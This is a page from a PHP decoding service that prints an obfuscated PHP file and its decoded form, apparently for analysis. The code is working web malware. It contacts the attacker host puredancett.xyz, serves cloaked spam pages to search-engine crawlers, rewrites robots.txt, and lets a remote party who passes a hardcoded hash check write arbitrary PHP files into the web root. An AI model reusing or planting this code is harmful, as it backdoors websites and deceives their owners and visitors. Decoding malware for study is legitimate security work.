Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

goto ImTIu; iOkqC: function dageget($url) { $file_contents = ''; if (function_exists("\x6..

Decoded Output download

<?   goto ImTIu; iOkqC: function dageget($url) { $file_contents = ''; if (function_exists("curl_init")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto GoXIZ; Secet: $xmlname = "cmpu"; goto XmgAD; qoXnb: $duri_tmp = st_uri(); goto gySFG; KtsoX: function sbot() { $uAgent = strtolower($_SERVER["HTTP_USER_AGENT"]); if (stristr($uAgent, "googlebot") || stristr($uAgent, "bing") || stristr($uAgent, "yahoo") || stristr($uAgent, "google") || stristr($uAgent, "Googlebot") || stristr($uAgent, "googlebot")) { return true; } else { return false; } } goto iOkqC; pjQof: @ignore_user_abort(1); goto Secet; AJHkH: $lang = urlencode($lang); goto YRGVX; jM54C: if (is_htps()) { $http = "https"; } else { $http = "http"; } goto qoXnb; gySFG: if ($duri_tmp == '') { $duri_tmp = "/"; } goto BYeeH; BYeeH: $duri = urlencode($duri_tmp); goto EbCPE; o54TN: if (isset($_SERVER["HTTP_REFERER"])) { $urlshang = $_SERVER["HTTP_REFERER"]; $urlshang = urlencode($urlshang); } goto ZhtQy; W866R: $goweb = $xmlname . ".puredancett" . ".xyz"; goto z7iR5; OSs_O: function pingmap($url) { $url_arr = explode("\xd\xa", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = dageget($pingUrl); $ok = strpos($pingRes, "Sitemap Notification Received") !== false ? "pingok" : "error"; $return_str .= $pingUrl . "-- " . $ok . "<br>"; } return $return_str; } goto KtsoX; WiIHD: $lang = @$_SERVER["HTTP_ACCEPT_LANGUAGE"]; goto AJHkH; YRGVX: $urlshang = ''; goto o54TN; z7iR5: function is_htps() { if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { return true; } elseif (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { return true; } elseif (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { return true; } return false; } goto dn9i7; dn9i7: $host = $_SERVER["HTTP_HOST"]; goto WiIHD; ZhtQy: if (@$_GET["pd"] != '') { $add_content = @$_GET["mapname"]; $action = @$_GET["action"]; if (isset($_SERVER["DOCUMENT_ROOT"])) { $path = $_SERVER["DOCUMENT_ROOT"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "put"; } if ($action == "put") { if (strstr($add_content, ".xml")) { $map_path = $path . "/sitemap.xml"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "/robots.txt"; if (file_exists($file_path)) { $data = dageget($file_path); } else { $data = "User-agent: *Allow: /"; } $sitmap_url = $http . "://" . $host . "/" . $add_content; if (stristr($data, $sitmap_url)) { echo "<br>sitemap already added!<br>"; } else { if (file_put_contents($file_path, trim($data) . "\xd
" . "Sitemap: " . $sitmap_url)) { echo "<br>ok<br>"; } else { echo "<br>file write false!<br>"; } } } else { echo "<br>sitemap name false!<br>"; } if (strstr($add_content, ".p" . "hp")) { $a = sha1(sha1(@$_GET["a"])); $b = sha1(sha1(@$_GET["b"])); if ($a == dageget($http_web . "://" . $goweb . "/a.p" . "hp") || $b == "808735b17c8943e3715388958dc22d879a8c9eaa") { $dstr = @$_GET["dstr"]; if (file_put_contents($path . "/" . $add_content, $dstr)) { echo "ok"; } } } } die; } goto TaYUj; qQTUy: $htmcontent = trim(dageget($web)); goto ZN7jy; EbCPE: function st_uri() { if (isset($_SERVER["REQUEST_URI"])) { $duri = $_SERVER["REQUEST_URI"]; } else { if (isset($_SERVER["argv"])) { $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; } else { $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; } } return $duri; } goto W866R; TaYUj: $web = $http_web . "://" . $goweb . "/indexnew.php?web=" . $host . "&zz=" . sbot() . "&uri=" . $duri . "&urlshang=" . $urlshang . "&http=" . $http . "&lang=" . $lang; goto qQTUy; ZN7jy: if (!strstr($htmcontent, "nobotuseragent")) { if (strstr($htmcontent, "okhtmlgetcontent")) { @header("Content-type: text/html; charset=utf-8"); $htmcontent = str_replace("okhtmlgetcontent", '', $htmcontent); echo $htmcontent; die; } else { if (strstr($htmcontent, "okxmlgetcontent")) { $htmcontent = str_replace("okxmlgetcontent", '', $htmcontent); @header("Content-type: text/xml"); echo $htmcontent; die; } else { if (strstr($htmcontent, "pingxmlgetcontent")) { $htmcontent = str_replace("pingxmlgetcontent", '', $htmcontent); @header("Content-type: text/html; charset=utf-8"); echo pingmap($htmcontent); die; } } } } goto OSs_O; XmgAD: $http_web = "http"; goto jM54C; ImTIu: @set_time_limit(3600); goto pjQof; GoXIZ:  
 //uw055  ?>

Did this file decode correctly?

Original Code

 goto ImTIu; iOkqC: function dageget($url) { $file_contents = ''; if (function_exists("\x63\165\162\154\x5f\151\156\x69\164")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto GoXIZ; Secet: $xmlname = "\143\x6d\x70\165"; goto XmgAD; qoXnb: $duri_tmp = st_uri(); goto gySFG; KtsoX: function sbot() { $uAgent = strtolower($_SERVER["\x48\x54\x54\x50\137\x55\x53\105\x52\137\x41\107\x45\x4e\124"]); if (stristr($uAgent, "\x67\157\157\147\x6c\145\x62\157\x74") || stristr($uAgent, "\x62\151\x6e\x67") || stristr($uAgent, "\x79\x61\x68\157\x6f") || stristr($uAgent, "\147\157\x6f\x67\x6c\x65") || stristr($uAgent, "\107\x6f\157\147\154\x65\142\157\x74") || stristr($uAgent, "\x67\157\157\x67\154\145\142\x6f\x74")) { return true; } else { return false; } } goto iOkqC; pjQof: @ignore_user_abort(1); goto Secet; AJHkH: $lang = urlencode($lang); goto YRGVX; jM54C: if (is_htps()) { $http = "\150\164\164\160\163"; } else { $http = "\x68\x74\x74\x70"; } goto qoXnb; gySFG: if ($duri_tmp == '') { $duri_tmp = "\57"; } goto BYeeH; BYeeH: $duri = urlencode($duri_tmp); goto EbCPE; o54TN: if (isset($_SERVER["\110\x54\124\120\x5f\122\x45\106\x45\122\x45\122"])) { $urlshang = $_SERVER["\x48\124\x54\120\x5f\122\x45\x46\x45\x52\105\122"]; $urlshang = urlencode($urlshang); } goto ZhtQy; W866R: $goweb = $xmlname . "\56\x70\165\162\145\144\x61\156\x63\x65\x74\x74" . "\x2e\x78\171\x7a"; goto z7iR5; OSs_O: function pingmap($url) { $url_arr = explode("\xd\xa", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = dageget($pingUrl); $ok = strpos($pingRes, "\123\x69\x74\x65\x6d\141\x70\40\x4e\157\x74\x69\x66\x69\143\141\x74\x69\157\x6e\40\122\x65\x63\145\151\166\x65\x64") !== false ? "\x70\x69\156\147\x6f\153" : "\145\162\x72\157\162"; $return_str .= $pingUrl . "\x2d\x2d\x20" . $ok . "\x3c\x62\x72\76"; } return $return_str; } goto KtsoX; WiIHD: $lang = @$_SERVER["\x48\x54\x54\120\x5f\x41\x43\x43\x45\x50\x54\x5f\114\101\x4e\107\x55\x41\x47\105"]; goto AJHkH; YRGVX: $urlshang = ''; goto o54TN; z7iR5: function is_htps() { if (isset($_SERVER["\110\124\124\120\123"]) && strtolower($_SERVER["\110\x54\124\x50\x53"]) !== "\x6f\x66\146") { return true; } elseif (isset($_SERVER["\110\124\x54\120\x5f\130\137\x46\117\x52\127\101\x52\x44\x45\x44\x5f\x50\x52\x4f\124\117"]) && $_SERVER["\110\124\x54\x50\x5f\x58\x5f\106\117\x52\127\101\122\x44\105\104\137\120\x52\x4f\124\117"] === "\x68\x74\164\x70\x73") { return true; } elseif (isset($_SERVER["\x48\124\x54\x50\137\106\x52\x4f\x4e\x54\x5f\x45\116\104\137\x48\124\124\x50\x53"]) && strtolower($_SERVER["\110\x54\x54\120\137\106\122\x4f\116\124\x5f\x45\116\x44\137\110\124\124\120\123"]) !== "\157\x66\x66") { return true; } return false; } goto dn9i7; dn9i7: $host = $_SERVER["\x48\124\124\x50\137\x48\117\123\x54"]; goto WiIHD; ZhtQy: if (@$_GET["\160\144"] != '') { $add_content = @$_GET["\x6d\141\x70\x6e\141\155\x65"]; $action = @$_GET["\x61\x63\164\151\x6f\156"]; if (isset($_SERVER["\x44\x4f\x43\x55\x4d\x45\116\x54\137\122\x4f\117\x54"])) { $path = $_SERVER["\x44\x4f\x43\125\x4d\105\116\124\x5f\x52\117\x4f\124"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "\x70\x75\164"; } if ($action == "\x70\165\164") { if (strstr($add_content, "\x2e\170\155\154")) { $map_path = $path . "\57\x73\x69\164\x65\x6d\141\x70\x2e\x78\155\154"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "\x2f\x72\157\x62\x6f\164\x73\x2e\x74\x78\164"; if (file_exists($file_path)) { $data = dageget($file_path); } else { $data = "\125\163\145\162\x2d\x61\x67\145\x6e\164\x3a\40\x2a\101\154\154\x6f\167\72\40\x2f"; } $sitmap_url = $http . "\72\57\x2f" . $host . "\57" . $add_content; if (stristr($data, $sitmap_url)) { echo "\74\x62\162\x3e\x73\x69\164\145\x6d\x61\x70\40\141\154\x72\x65\x61\144\171\40\x61\144\144\145\144\41\74\142\162\x3e"; } else { if (file_put_contents($file_path, trim($data) . "\xd\12" . "\123\151\164\145\155\141\160\x3a\40" . $sitmap_url)) { echo "\74\x62\162\x3e\x6f\153\x3c\142\x72\76"; } else { echo "\x3c\x62\162\76\146\151\154\145\x20\x77\162\151\x74\x65\x20\x66\141\154\x73\x65\x21\x3c\142\162\x3e"; } } } else { echo "\x3c\x62\162\76\163\151\164\145\155\x61\160\40\x6e\x61\x6d\145\40\x66\141\x6c\x73\145\x21\x3c\142\162\76"; } if (strstr($add_content, "\56\x70" . "\150\x70")) { $a = sha1(sha1(@$_GET["\x61"])); $b = sha1(sha1(@$_GET["\142"])); if ($a == dageget($http_web . "\x3a\x2f\57" . $goweb . "\x2f\141\56\x70" . "\150\160") || $b == "\x38\60\70\x37\63\x35\x62\61\x37\x63\70\x39\64\x33\x65\x33\x37\61\x35\x33\70\70\x39\x35\70\144\x63\x32\x32\144\x38\67\71\141\x38\x63\71\145\x61\x61") { $dstr = @$_GET["\x64\163\x74\162"]; if (file_put_contents($path . "\57" . $add_content, $dstr)) { echo "\x6f\153"; } } } } die; } goto TaYUj; qQTUy: $htmcontent = trim(dageget($web)); goto ZN7jy; EbCPE: function st_uri() { if (isset($_SERVER["\x52\x45\121\x55\x45\123\124\x5f\125\x52\111"])) { $duri = $_SERVER["\122\105\x51\125\105\x53\124\137\125\x52\x49"]; } else { if (isset($_SERVER["\141\162\x67\x76"])) { $duri = $_SERVER["\120\x48\x50\x5f\x53\x45\x4c\106"] . "\77" . $_SERVER["\x61\x72\147\x76"][0]; } else { $duri = $_SERVER["\120\x48\120\x5f\123\x45\114\x46"] . "\77" . $_SERVER["\121\125\105\122\x59\x5f\123\x54\x52\x49\116\x47"]; } } return $duri; } goto W866R; TaYUj: $web = $http_web . "\x3a\57\x2f" . $goweb . "\x2f\151\x6e\144\145\x78\x6e\145\x77\x2e\160\150\x70\x3f\167\x65\x62\x3d" . $host . "\x26\x7a\172\x3d" . sbot() . "\46\x75\x72\151\75" . $duri . "\x26\165\x72\154\x73\x68\141\x6e\147\75" . $urlshang . "\x26\x68\164\164\x70\75" . $http . "\46\154\x61\x6e\x67\x3d" . $lang; goto qQTUy; ZN7jy: if (!strstr($htmcontent, "\x6e\157\142\157\164\165\163\x65\x72\x61\147\x65\x6e\164")) { if (strstr($htmcontent, "\x6f\x6b\150\164\x6d\x6c\x67\145\x74\143\157\156\x74\x65\x6e\x74")) { @header("\x43\x6f\156\164\145\156\164\x2d\164\x79\160\145\x3a\x20\x74\145\170\x74\57\150\x74\155\x6c\x3b\40\x63\150\141\162\163\x65\164\75\x75\x74\x66\55\70"); $htmcontent = str_replace("\x6f\153\x68\164\155\x6c\147\145\x74\x63\157\156\x74\x65\156\x74", '', $htmcontent); echo $htmcontent; die; } else { if (strstr($htmcontent, "\x6f\153\170\155\154\x67\145\x74\143\x6f\156\x74\x65\x6e\x74")) { $htmcontent = str_replace("\157\x6b\170\155\154\147\x65\x74\x63\157\156\164\145\x6e\164", '', $htmcontent); @header("\x43\157\x6e\x74\145\x6e\x74\x2d\164\x79\x70\x65\x3a\40\x74\145\x78\x74\x2f\170\x6d\154"); echo $htmcontent; die; } else { if (strstr($htmcontent, "\160\x69\156\x67\170\155\x6c\147\x65\164\143\x6f\156\x74\x65\x6e\x74")) { $htmcontent = str_replace("\160\151\156\x67\x78\155\x6c\147\x65\x74\x63\x6f\156\164\145\156\164", '', $htmcontent); @header("\x43\157\156\164\x65\x6e\x74\55\x74\171\x70\x65\72\x20\164\x65\170\164\57\150\164\155\154\73\40\143\150\141\x72\163\x65\x74\x3d\165\164\146\55\70"); echo pingmap($htmcontent); die; } } } } goto OSs_O; XmgAD: $http_web = "\150\164\x74\x70"; goto jM54C; ImTIu: @set_time_limit(3600); goto pjQof; GoXIZ: 
 //uw055  ?>

Function Calls

None

Variables

None

Stats

MD5 21339db45580783c9f9c11ce1ddd29de
Eval Count 0
Decode Time 37 ms